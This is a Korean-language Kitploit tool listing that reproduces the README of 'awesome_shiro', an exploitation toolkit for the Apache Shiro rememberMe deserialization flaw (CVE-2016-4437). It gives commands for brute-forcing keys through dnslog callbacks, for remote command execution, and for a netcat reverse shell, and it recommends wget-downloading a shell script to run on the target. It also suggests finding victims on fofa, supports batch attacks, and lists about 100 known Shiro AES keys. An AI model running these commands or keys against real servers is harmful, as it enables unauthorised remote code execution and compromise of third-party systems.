Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Awesome_shiro — CVE-2016-4437-Shiro 역직렬화 무차별 대입 모듈 및 key, 명령 실행, 리버스 셸 스크립트 | Kitploit
도구/GitHubGitHub/bkfish/awesome_shiro
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437-Shiro 역직렬화 무차별 대입 모듈 및 key, 명령 실행, 리버스 셸 스크립트

저장소 보기
55166년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Awesome-shiro

CVE-2016-4437 Shiro<=1.2.4 역직렬화, 모듈 및 key 브루트포스, 코드 실행, 리버스 셸 도구


취약점 원인

shiro는 cookie의 rememberme 필드를 역직렬화하기 때문에, shiro의 인코딩 방식을 안다면 악성 명령을 해당 인코딩 방식으로 인코딩하여 http 헤더의 cookie에 넣으면, shiro가 제출된 cookie의 rememberme 필드를 역직렬화할 때 삽입된 명령이 실행되어 결과적으로 명령 실행이 발생합니다.

shiro는 기본적으로 CookieRememberMeManager를 사용하며, cookie를 처리하는 흐름은 다음과 같습니다: rememberMe cookie 값 가져오기-->Base64 디코딩-->AES 복호화-->역직렬화

환경

linux/win10 모두 가능
python2/python3 모두 가능
module 폴더에 ysoserial.jar가 있어서 프로젝트가 약간 큽니다. 양해 부탁드립니다.

로컬 실습 환경 구축

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

스크립트 사용법

1. shiro_crack.py 브루트포스 모듈 사용

http://dnslog.cn/과 함께 사용해야 합니다.

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

성공 후 기록을 확인하세요. 기록 형식은 {{key}}.{{module}}.dnslogurl 입니다.

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

성공한 key가 U3ByaW5nQmxhZGUAAAAAAA==이고, 모듈이 CommonsBeanutils1임을 알 수 있습니다. key에 ==/+ 등의 기호가 포함되어 있기 때문에, 이 프로젝트는 약간 이스케이프 처리합니다. 부록 1의 key와 직접 비교해야 합니다. fofa에서 하나 찾아서 해보세요. 1.png 2.png

shiro_crack.py 원리

실제로 온라인에는 모듈과 key를 브루트포스하는 도구가 많지만, 브루트포스에 성공해도 보통은 연결만 확인될 뿐 모듈과 key가 무엇인지 알 수 없습니다. 응답이 없는 RCE의 경우 성공 여부와 관계없이 응답 코드가 항상 200이기 때문입니다. 이 프로젝트는 모듈과 key 브루트포스를 dnslog와 결합하여 성공한 key와 모듈을 간접적으로 획득합니다. 원리는 DNSlog의 개념으로, DNS가 해석할 때 로그를 남기며, 다중 레벨 도메인의 해석 로그를 읽어 요청 정보를 획득합니다.

2. shiro_rce.py RCE 사용

http://dnslog.cn/과 함께 사용할 수 있습니다.

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

dnslog에서 ping rcetest.x9zm4v.dnslog.cn을 확인할 수 있습니다. 구분을 위해 더 낮은 레벨의 도메인을 사용하는 것이 좋습니다.

shiro_rce 설정

  1. 모듈 설정 13번째 줄을 popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)그중 CommonsBeanutils1을 브루트포스에 성공한 모듈로 변경하세요.
  2. key 설정 16번째 줄을
root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 

브루트포스에 성공한 key로 변경하세요. fofa에서 하나 찾아서 해보세요. 3.png 4.png

3. shiro_getshell 리버스 셸

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}

안전을 위해 역시 로컬을 공격하는 것이 좋습니다. 원리는 JRMPListener와 payload를 함께 패키징한 것입니다. 사실 jrmplistener는 사용하지 않아도 됩니다.

shiro_getshell 테스트:

6.png 5.png


약간의 작은 생각 외부 네트워크에 접근할 수 있다면, 왜 shiro_rec로 bash 리버스 셸을 바로 사용하지 못할까요? 몇 번 시도했지만 실패했습니다. shiro에 어떤 필터링이 있는 것 같지만, 먼저 wget으로 리버스 셸 sh 스크립트를 다운로드한 다음 sh로 실행하면 되는 것을 발견했습니다. 참고: jrmplistener 없이 리버스 셸 사용에 대한 소소한 연구


4. fuzz-shiro

요청 헤더와 응답 헤더를 기반으로 간단한 테스트를 수행합니다. shiro가 있는 웹사이트를 shiro.txt에 넣으세요.

5. shiro_piliang_crack.py

먼저 fuzz-shiro에서 shiro가 있는 사이트 목록 shiro.txt를 확보한 다음 일괄 공격하는 것을 권장합니다.
dnsLog 기록 형식은

{{key}}.{{모듈}}.{{url}}.dnsurl

직접 테스트해 보니 괜찮습니다.

자주 묻는 질문

1. win10에서 실행 시 No module named 'Crypto' 오류가 발생하는 경우

다음 명령을 실행하세요:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

python 설치 디렉터리의 \Lib\site-packages에서 crypto 폴더 이름을 Crypto로 변경하세요.

부록 1. shiro 자주 사용되는 key

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
도구 다운로드